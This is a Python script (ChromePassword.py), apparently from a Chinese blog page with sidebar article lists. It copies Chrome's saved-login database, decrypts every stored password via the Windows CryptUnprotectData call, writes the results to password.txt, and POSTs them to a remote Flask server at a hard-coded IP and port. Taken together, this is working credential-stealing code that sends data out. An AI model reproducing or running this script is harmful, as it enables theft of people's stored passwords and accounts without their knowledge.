# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()

最新文章

  1. Bootstrap_列表组
  2. ThinkPHP 3.2.3(三)架构之模块化设计
  3. 接口或者http请求测试工具--chrome plug
  4. JAVA新手笔记 Intent对象和Bundle对象
  5. Java中查找文件并且打印输出指定文件下面的子目录
  6. IOS表情存入MYSQL数据库失败
  7. Android的UI设计
  8. JavaEE面试题库
  9. HashMap put,get操作
  10. [备忘]WCF中使用MessageContract的一些注意点
  11. C库专题(Day1)
  12. MFC 创建选项卡
  13. D - 小Y上学记——要迟到了!
  14. 切糕[HNOI2013]
  15. ASP.NET Core 实战:使用 NLog 将日志信息记录到 MongoDB
  16. DbHelperSQL 增加事务处理方法(2种)
  17. C语言权威指南和书单 - 专家级别
  18. 20172306 2018-2019-2 《Java程序设计》第五周学习总结
  19. bzoj2142: 礼物
  20. Angular CLI命令

热门文章

  1. Angular5 自定义scrollbar样式之 ngx-perfect-scollbar
  2. 前端H5中JS用FileReader对象读取blob对象二进制数据,文件传输
  3. 【Python】【demo实验5】【练习实例】【多个数字组合成不重复三位数】
  4. LeetCode 206——链表反转(JAVA)
  5. 安装kubenetes-遇到的问题总结
  6. oracle建表详细信息
  7. qt 静态编译配置项
  8. 进阶Java编程(11)ClassLoader类加载器【待完成】
  9. ACM算法练习-——ZJU1164-Software CRC
  10. C#颜色对话框(WPF可用)